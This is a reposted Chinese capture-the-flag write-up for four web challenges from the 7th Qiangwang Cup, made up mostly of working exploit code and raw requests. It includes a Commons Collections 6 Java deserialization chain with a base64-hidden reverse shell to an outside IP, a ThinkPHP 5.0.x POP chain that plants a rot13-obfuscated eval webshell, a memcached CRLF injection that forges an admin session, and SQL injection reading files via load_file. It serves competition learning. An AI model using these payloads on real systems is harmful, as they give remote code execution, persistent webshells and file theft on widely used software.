第七届 强网杯 全国网络安全挑战赛 Web Writeup

WriteUp 4个月前 admin
381 0 0

easyphp

考点:xcache逆向
114牛逼,下面贴一下佬的wp,我不会。
1.题目给出了phpinfo,给出了/var/www/html/b3debcdfb73572a549ac64da1c830d72这个路径可以下载到xcache的mmap缓存文件。
/challenge.php需要提交一个key。
访问challenge.php后下载mmap文件,strings可以得到字符串。

1
2
3
4
5
6
7
8
c6d4c9861179fe161d0233e3570998dc
_GET
strlen
wrong answer
str_split
implode
cat /flag
system

2.下载到的缓存文件,里面有很多链表地址和函数(字节码回调函数,没有符号,readelf看不到,但是p/i 0xxxx看一下都是endbr64指令)地址,不能直接加载。
修改源码。编辑xcache\mod_cacher\xc_cacher.c 加上固定地址加载代码,使得链表可以正常加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>
#include <sys/mman.h>
void mymmap(){
int file1 = open("/tmp/clean_b3", O_RDONLY);
    size_t ro_addr = 0x7fb5ed09c000;
    size_t rw_addr = 0x7fb5ed09c000 + 0x4000000;
    size_t ro_size=0x4000000;
    int mmap1_result = mmap(ro_addr, ro_size, PROT_READ, MAP_PRIVATE| MAP_FIXED, file1, 0);
    printf("mmap1_result: %d\n", mmap1_result);
    int mmap2_result = mmap(rw_addr, ro_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED, file1, 0);
    printf("mmap2_result: %d\n", mmap2_result);
}
int is_replaced_1=0;
在这个函数里面加 xc_php_find_unlocked:
if(is_replaced_1 == 0){
    is_replaced_1 = 1;
    TRACE("1: xc_php_find_unlocked force return fake value %s","");
    TRACE("1: size:%d",php->size);
    mymmap();
    char* ptr = 0x7fb5f10bc1e8;
    return ptr;
}else{
    TRACE("1: xc_php_find_unlocked have already faked, do not fake again %s","");
}

通过函数指针,因为我们搭建了完全一样的libphp,所以可以推算libphp基址。替换函数指针,让字节码可以正常加载。
(找了一晚上指针。。。我的建议是,关闭靶机,重开,只访问challenge.php不访问info.php,这样得到的mmap是最纯净的)
本地关闭aslr方便调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#找mmap基址
from pwn import *
filename = "clean_b3"
with open(filename,"rb") as f:
    f.seek(0x20230)
    ptr = u64(f.read(8))
    # sanity check
    f.seek(0x20290)
    ptr2 = u64(f.read(8))
    assert ptr2 > 0x7f0000000000 and ptr2 < 0x7fffffffffff

delta = 0x20290
root = ptr - delta
print("ptr: " + hex(ptr))
print("delta: " + hex(delta))
print("ro_root: " + hex(root))
assert hex(root).endswith("000")
# 远程开启了 xcache read only protection,因此同一个文件被mmap了两次,一个只读的和一个读写的。
real_rw_root = root + 0x4000000
print("rw_root: " + hex(real_rw_root))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#用函数指针后3位地址找libphp的基址,然后把mmap文件里面远程的函数指针全部替换成本地的函数指针
import re
from pwn import *

remote_file = open("./clean_b3","rb")
remote_data = remote_file.read()
local_file = open("./result3","rb")
local_data = local_file.read()

remote_regex = br'.{3}\xff\xb5\x7f\x00\x00'
local_regex = br'.{3}\xf6\xff\x7f\x00\x00'
findall= re.findall(remote_regex,remote_data)
findall = list(map(u64,findall))
findall_pretty = list(set(list(map(hex,findall))))
print(findall_pretty)

findall_local = re.findall(local_regex,local_data)
findall_local = list(map(u64,findall_local))
findall_local_pretty = list(set(list(map(hex,findall_local))))
print(findall_local_pretty)

for entry in findall_local_pretty:
    for remote_entry in findall_pretty:
        # if the last 3 bytes are the same
        if entry[-3:] == remote_entry[-3:]:
            print("match: ",entry,remote_entry)

'''
match:  0x7ffff6d7ebe0 0x7fb5ff0ebbe0
match:  0x7ffff66d93c0 0x7fb5ff0eb3c0
match:  0x7ffff6def080 0x7fb5ff15c080
match:  0x7ffff6df1cf0 0x7fb5ff15ecf0
'''
local_entry = 0x7ffff6d7ebe0
remote_entry = 0x7fb5ff0ebbe0
# local have aslr disabled.
local_base = 0x7ffff6af4000
local_delta = local_entry - local_base
print("local delta: ",hex(local_delta))

remote_base = remote_entry - local_delta
print("remote base: ",hex(remote_base))

替换mmap文件里面的函数指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import subprocess
from pwn import *

data = open("clean_b3","rb").read()

remote_libphp_base = 0x7fb5fee61000 # changeme
local_libphp_base = 0x7ffff76f6000 # changeme 或者如果你关闭了aslr,理论上会得到和这个一样的本地地址

remote_regex = br'.{3}\xff\xb5\x7f\x00\x00' # changeme
import re

def repl(m):
    contents = m.group(0)
    remote_ptr = u64(contents)
    local_ptr = remote_ptr - remote_libphp_base + local_libphp_base
    print(f"replace {hex(remote_ptr)} with {hex(local_ptr)}")
    return p64(local_ptr)

data = re.sub(remote_regex, repl, data)

with open("/tmp/clean_b3_mod","bw") as f:
    f.write(data)

3.本地搭建完全一样的php版本(差一点都不行,必须完全一样,直接用它那个deb.sury.org源下载,因为有函数指针),并且安装xdebug,自己编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
FROM ubuntu:22.04

ENV TZ=Asia/Shanghai \
    DEBIAN_FRONTEND=noninteractive
RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list && sed -i "s/http:\/\/security.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list && \
apt update && apt install -y software-properties-common && add-apt-repository ppa:ondrej/php -y && apt install -y php5.6 php5.6-cli
RUN apt install -y php5.6-dev
ADD ./xdebug-2.5.5 /tmp/xdebug
RUN cd /tmp/xdebug \
    && phpize \
    && ./configure --enable-xdebug \
    && make -j$(nproc) \
    && make install \
    && cd /
ADD ./xcache /tmp/xcache
RUN cd /tmp/xcache \
    && phpize \
    && ./configure --enable-xcache --enable-xcache-disassembler \
    && make -j$(nproc) \
    && make install \
    && cd /
COPY xcache.ini /tmp/
COPY challenge.php /var/www/html/
COPY info.php /var/www/html/
RUN cat /tmp/xcache.ini >> /etc/php/5.6/apache2/php.ini && touch /var/www/html/b3debcdfb73572a549ac64da1c830d72 && chmod 777 /var/www/html/b3debcdfb73572a549ac64da1c830d72
# RUN echo 'extension = xcache.so' > /etc/php/5.6/mods-available/xcache.ini
RUN echo 'extension = xcache.so' > /etc/php/5.6/apache2/conf.d/20-xcache.ini
RUN echo 'zend_extension=/usr/lib/php/20131226/xdebug.so' > /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo '[Xdebug]' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.auto_trace=On' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.collect_params=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.collect_return=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.collect_assignments=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.collect_vars=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN ln -sf /proc/self/fd/1 /var/log/apache2/access.log && \
    ln -sf /proc/self/fd/1 /var/log/apache2/error.log
CMD apachectl -D FOREGROUND -X

docker run –name dump –network=host –privileged –rm -it -v /tmp/clean_b3_mod:/tmp/clean_b3:ro test1
4.运行后,访问本地/challenge.php,则会被替换成题目给出的字节码。
因为xcache里面只有字节码,所以无法导出php源码,调试比较困难。但是xdebug可以正常工作。
利用xdebug trace日志,多次输入测试得知,用户输入key长度需要是32,key的前14个字节会被异或一个key,后18个字节会被异或另一个key,然后与strings看到的字符串c6d4c9861179fe161d0233e3570998dc比较。(字符串会变化)
如果比较正确会system cat /flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
TRACE START [2023-12-16 17:53:20]
    0.0000     232096   -> {main}() /var/www/html/challenge.php:0
    0.0001     232440     -> strlen(string(32)) /var/www/html/challenge.php:5
    0.0001     232440      >=> 32
    0.0001     232440     -> str_split(string(32)) /var/www/html/challenge.php:9
    0.0001     238176      >=> array (0 => 'O', 1 => '\032', 2 => 'H', 3 => '\030', 4 => 'O', 5 => '\025', 6 => '\024', 7 => '\032', 8 => '\035', 9 => '\035', 10 => '\033', 11 => '\025', 12 => 'J', 13 => 'I', 14 => '�', 15 => '�', 16 => '�', 17 => '�', 18 => '�', 19 => '�', 20 => '�', 21 => '�', 22 => '�', 23 => '�', 24 => '�', 25 => '�', 26 => '�', 27 => '�', 28 => '�', 29 => '�', 30 => '�', 31 => '�')
    0.0001     238472     -> implode(array(32)) /var/www/html/challenge.php:16
    0.0001     241792      >=> 'c6d4c9861179fe161d0233e3570998dc'
    0.0001     238552     -> system(string(9)) /var/www/html/challenge.php:17
    0.0014     238664      >=> 'flag'
    0.0014     238552    >=> 1
    0.0015       8368
TRACE END   [2023-12-16 17:53:20]

异或是单字节异或固定key,本地通过日志读一下异或后implode的返回值,逆或一次得到key即可。
经过测试是,每次开启靶机,32位长度的字符串会变化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests


rs = requests.Session()

data = b'a'*32
r = rs.get('http://127.0.0.1/challenge.php', params={'key': data})

import subprocess
output = subprocess.check_output("docker exec -it dump bash -c 'cat /tmp/trace*'",shell=True)
import re

regex = re.compile(rb" >=> '(.{32})'")
matched = regex.findall(output)
key_ = matched[0]

key = b''
for i in range(len(key_)):
    key += bytes([key_[i] ^ ord('a')])
print(key)

cipher = b'936998e2dbec20ad5a37dc8f06f7d672'
xored_cipher = b''
for i in range(len(cipher)):
    xored_cipher += bytes([cipher[i] ^ key[i]])
print(xored_cipher)

r2 = rs.get('http://eci-2ze245ak3rvctqp48pe0.cloudeci1.ichunqiu.com/challenge.php', params={'key': xored_cipher})
print(r2.text)

happygame

grpc_cli cc6

第七届 强网杯 全国网络安全挑战赛 Web Writeup我们得到了2个method,我们分别查看一下2个method的具体信息
grpc_cli ls 8.147.128.227:32866 helloworld.Greeter -l

第七届 强网杯 全国网络安全挑战赛 Web Writeup

grpc_cli type 8.147.128.227:32866 helloworld.Request

第七届 强网杯 全国网络安全挑战赛 Web Writeup

发现其中的Request是一个序列化的data,那么我这里就盲猜,对就是盲猜是反序列化,测试发现有cc依赖,直接打就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.javasec.pocs.cc;
import com.javasec.utils.SerializeUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/**
 * Hashmap(hashcode)->TiedmapEntry(hashcode)->TiedMapEntry(getvalue)->Lazymap(get)->transform
 */
public class CommonsCollections6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"bash -c {echo,YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNC4xODgvNzc3NSA8JjEi}|{base64,-d}|{bash,-i}"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map=new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1)); //随便改成什么Transformer
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa");
        HashMap<Object, Object> hashMap=new HashMap<>();
        hashMap.put(tiedMapEntry,"bbb");
        map.remove("aaa");
        Field factory = LazyMap.class.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);
        String poc = SerializeUtils.base64serial(hashMap);
        System.out.println(poc);
        SerializeUtils.base64deserial(poc);
    }
}

这个base64也是自己意会。

1
echo "{'serializeData': 'rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWFhc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABxzcQB+ABN1cQB+ABgAAAACcHB0AAZpbnZva2V1cQB+ABwAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQAaWJhc2ggLWMge2VjaG8sWW1GemFDQXRZeUFpWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4NExqRXpNQzR5TkM0eE9EZ3ZOemMzTlNBOEpqRWl9fHtiYXNlNjQsLWR9fHtiYXNoLC1pfXQABGV4ZWN1cQB+ABwAAAABcQB+AB9zcQB+AAA/QAAAAAAADHcIAAAAEAAAAAB4eHQAA2JiYng='}" | grpc_cli call 8.147.133.227:32866 ProcessMsg --json_input

后面直接反弹shell了。

thinkshop

开局还有个zz东西,就是你的username不是admin
admin=1&password=123456
进入后台,之后就是5.0.x的一条反序列化链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /public/index.php/index/admin/do_edit.html HTTP/1.1
Host: eci-2zegp2dwag3hcmblf44t.cloudeci1.ichunqiu.com
Content-Length: 2500
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2zegp2dwag3hcmblf44t.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://eci-2zegp2dwag3hcmblf44t.cloudeci1.ichunqiu.com/public/index.php/index/admin/goods_edit/id/1.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1700560980,1701446760,1702540036,1702548089; PHPSESSID=vv0dcps9gjic3qhnooqk9v36j2
Connection: close

id=1&name=fake_flag&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=https%3A%2F%2Fi.postimg.cc%2FFzvNFBG8%2FR-6-HI3-YKR-UF-JG0-G-N.jpg&data`%3d%27YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6NTp7czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YTo3OntpOjA7czo3OiJnZXRBdHRyIjtpOjE7czo0OiJpbmZvIjtpOjI7czo1OiJlcnJvciI7aTozO3M6NzoiY29tbWVudCI7aTo0O3M6ODoicXVlc3Rpb24iO2k6NTtzOjk6ImhpZ2hsaWdodCI7aTo2O3M6Nzoid2FybmluZyI7fXM6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086MzA6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlZCI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NDp7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO3M6MDoiIjtzOjQ6InBhdGgiO3M6NzU6InBocDovL2ZpbHRlci93cml0ZT1zdHJpbmcucm90MTMvcmVzb3VyY2U9c3RhdGljLzw%2FY3VjIEByaW55KCRfVFJHWyduJ10pOyA%2FPiI7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjY6IgAqAHRhZyI7czo0OiJ4aWdlIjt9fX1zOjk6IgAqAGFwcGVuZCI7YToxOntzOjQ6InRlc3QiO3M6ODoiZ2V0RXJyb3IiO31zOjc6IgAqAGRhdGEiO2E6MTp7czo3OiJwYW5yZW50IjtzOjQ6InRydWUiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjU6e3M6NToibW9kZWwiO2I6MDtzOjE1OiIAKgBzZWxmUmVsYXRpb24iO2I6MDtzOjk6IgAqAHBhcmVudCI7TjtzOjg6IgAqAHF1ZXJ5IjtPOjE0OiJ0aGlua1xkYlxRdWVyeSI6MTp7czo4OiIAKgBtb2RlbCI7TzoyMDoidGhpbmtcY29uc29sZVxPdXRwdXQiOjI6e3M6OToiACoAc3R5bGVzIjthOjc6e2k6MDtzOjc6ImdldEF0dHIiO2k6MTtzOjQ6ImluZm8iO2k6MjtzOjU6ImVycm9yIjtpOjM7czo3OiJjb21tZW50IjtpOjQ7czo4OiJxdWVzdGlvbiI7aTo1O3M6OToiaGlnaGxpZ2h0IjtpOjY7czo3OiJ3YXJuaW5nIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo0OntzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6NDoicGF0aCI7czo3NToicGhwOi8vZmlsdGVyL3dyaXRlPXN0cmluZy5yb3QxMy9yZXNvdXJjZT1zdGF0aWMvPD9jdWMgQHJpbnkoJF9UUkdbJ24nXSk7ID8%2BIjtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7fXM6NjoiACoAdGFnIjtzOjQ6InhpZ2UiO319fX1zOjExOiIAKgBiaW5kQXR0ciI7YToxOntzOjI6Inh4IjtzOjI6Inh4Ijt9fXM6ODoiACoAbW9kZWwiO3M6NDoidGVzdCI7fX19fQ%3D%3D%27%09where%09`id`%3d1%23a=1&data=%23+FLAG%0D%0A%0D%0A%23%23+%E8%AF%B7%E7%9C%8B%E7%9C%8B%E8%BF%99%E4%B8%AAFLAG%E5%A5%BD%E7%9C%8B%E5%90%97%0D%0A%E5%86%8D%E4%BB%94%E7%BB%86%E4%BB%94%E7%BB%86%E6%83%B3%E4%B8%80%E4%B8%8B%E8%BF%99%E4%B8%AAflag%E6%80%8E%E4%B9%88%E6%89%8D%E8%83%BD%E6%8B%BF%E5%88%B0%E5%91%A2%0D%0A%0D%0A

第七届 强网杯 全国网络安全挑战赛 Web Writeup

 

第七届 强网杯 全国网络安全挑战赛 Web Writeup

 

第七届 强网杯 全国网络安全挑战赛 Web Writeup

 

第七届 强网杯 全国网络安全挑战赛 Web Writeup

遍历post的key。没限制。直接注入任意data

第七届 强网杯 全国网络安全挑战赛 Web Writeup

 

第七届 强网杯 全国网络安全挑战赛 Web Writeup

这里反序列化
打个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
<?php
namespace think\cache\driver;

class File {
    protected $options = [];
    protected $tag;
    public function __construct() {
        $this->tag = 'xige';
        $this->options = [
            'cache_subdir'  => false,
            'prefix'        => '',
            'path' => 'php://filter/write=string.rot13/resource=static/<?cuc @riny($_TRG[\'n\']); ?>', // 因为 static 目录有写权限
            'data_compress' => false
        ];
    }
}

namespace think\session\driver;
use think\cache\driver\File;

class Memcached {
    protected $handler;
    function __construct() {
        $this->handler=new File();
    }
}

namespace think\console;
use think\session\driver\Memcached;

class Output {
    protected $styles = [];
    private $handle;
    function __construct() {
        $this->styles = ["getAttr", 'info',
            'error',
            'comment',
            'question',
            'highlight',
            'warning'];
        $this->handle = new Memcached();
    }
}

namespace think\db;
use think\console\Output;

class Query {
    protected $model;
    function __construct() {
        $this->model = new Output();
    }
}

namespace think\model\relation;
use think\console\Output;
use think\db\Query;

class HasOne {
    public $model;
    protected $selfRelation;
    protected $parent;
    protected $query;
    protected $bindAttr = [];
    public function __construct() {
        $this->query = new Query("xx", 'think\console\Output');
        $this->model = false;
        $this->selfRelation = false;
        $this->bindAttr = ["xx" => "xx"];
    }}

namespace think\model;
use think\console\Output;
use think\model\relation\HasOne;

abstract class Model {
}

class Pivot extends Model {
    public $parent;
    protected $append = [];
    protected $data = [];
    protected $error;
    protected $model;

    function __construct() {
        $this->parent = new Output();
        $this->error = new HasOne();
        $this->model = "test";
        $this->append = ["test" => "getError"];
        $this->data = ["panrent" => "true"];
    }
}

namespace think\process\pipes;
use think\model\Pivot;

class Windows {
    private $files = [];
    public function __construct() {
        $this->files=[new Pivot()];
    }
}

$obj = new Windows();
$payload = serialize([$obj]);
echo base64_encode($payload);

修改数据->update data字段。内容是序列化数据。并且get的时候有限制。序列化字符得是是a:开头->访问商品详情触发反序列化。写static webshell

thinkshopping

服务器mysql未做设置,可以任意文件读取,那么我们在admin登录后直接读取flag文件即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /public/index.php/index/admin/do_edit.html HTTP/1.1
Host: eci-2ze0mwyalswv7z0u3m1h.cloudeci1.ichunqiu.com
Content-Length: 488
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze0mwyalswv7z0u3m1h.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://eci-2ze0mwyalswv7z0u3m1h.cloudeci1.ichunqiu.com/public/index.php/index/admin/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,mg;q=0.7
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1701446760,1702540036,1702548089,1702783234; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1702786165; PHPSESSID=nucuu7f9vk71ojeseih8eropo4
Connection: close

id=1&name=fake_flag&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=https%3A%2F%2Fi.postimg.cc%2FFzvNFBG8%2FR-6-HI3-YKR-UF-JG0-G-N.jpg&data`%3dload_file(%27/fffflllaaaagggg%27)%09where%09`id`%3d1%23a=1&data=%23+FLAG%0D%0A%0D%0A%23%23+%E8%AF%B7%E7%9C%8B%E7%9C%8B%E8%BF%99%E4%B8%AAFLAG%E5%A5%BD%E7%9C%8B%E5%90%97%0D%0A%E5%86%8D%E4%BB%94%E7%BB%86%E4%BB%94%E7%BB%86%E6%83%B3%E4%B8%80%E4%B8%8B%E8%BF%99%E4%B8%AAflag%E6%80%8E%E4%B9%88%E6%89%8D%E8%83%BD%E6%8B%BF%E5%88%B0%E5%91%A2%0D%0A%0D%0A

在thinkphp的cache->find()方法中有获取缓存的点位

第七届 强网杯 全国网络安全挑战赛 Web Writeup

此处肯定是调用了memcache的get指令,并且存在CRLF注入,$key是think:shop.admin|test
test是我们拼贴(username)的地方。
这里比较玄学,用抓包的就可以,自己构造的就不可以,唯一不同的只有时间戳,说明时间戳有点讲究。

1
1222%00%0d%0aset think:shop.admin|1 0 1702802967 101%0d%0aa:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"e10adc3949ba59abbe56e057f20f883e";}%0d%0a

第七届 强网杯 全国网络安全挑战赛 Web Writeup

 

第七届 强网杯 全国网络安全挑战赛 Web Writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
从memcacheget的$key为think:shop.admin|1 1是我们传入的用户名
找到https://www.freebuf.com/vuls/328384.html
memcached的问题。crlf。

本地设置一个admin。登录抓set memcached的包

最后构造
username=1222%00%0d%0a%73%65%74%20%74%68%69%6e%6b%3a%73%68%6f%70%2e%61%64%6d%69%6e%7c%31%20%34%20%31%37%30%32%38%30%32%39%36%37%20%31%30%31%0d%0a%61%3a%33%3a%7b%73%3a%32%3a%22%69%64%22%3b%69%3a%31%3b%73%3a%38%3a%22%75%73%65%72%6e%61%6d%65%22%3b%73%3a%35%3a%22%61%64%6d%69%6e%22%3b%73%3a%38%3a%22%70%61%73%73%77%6f%72%64%22%3b%73%3a%33%32%3a%22%65%31%30%61%64%63%33%39%34%39%62%61%35%39%61%62%62%65%35%36%65%30%35%37%66%32%30%66%38%38%33%65%22%3b%7d%0d%0aquit&password=1

然后username=1&password=123456登录

登录之后。后台sql注入load_file

id=4&name=fake_flag&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=https%3A%2F%2Fi.postimg.cc%2FFzvNFBG8%2FR-6-HI3-YKR-UF-JG0-G-N.jpg&data`%3dload_file(%27/fffflllaaaagggg%27)%09where%09id%3d4%23&data=%23

第七届 强网杯 全国网络安全挑战赛 Web Writeup

 

原文始发于boogipop:第七届 强网杯 全国网络安全挑战赛 Web Writeup

版权声明:admin 发表于 2023年12月18日 下午5:21。
转载请注明:第七届 强网杯 全国网络安全挑战赛 Web Writeup | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...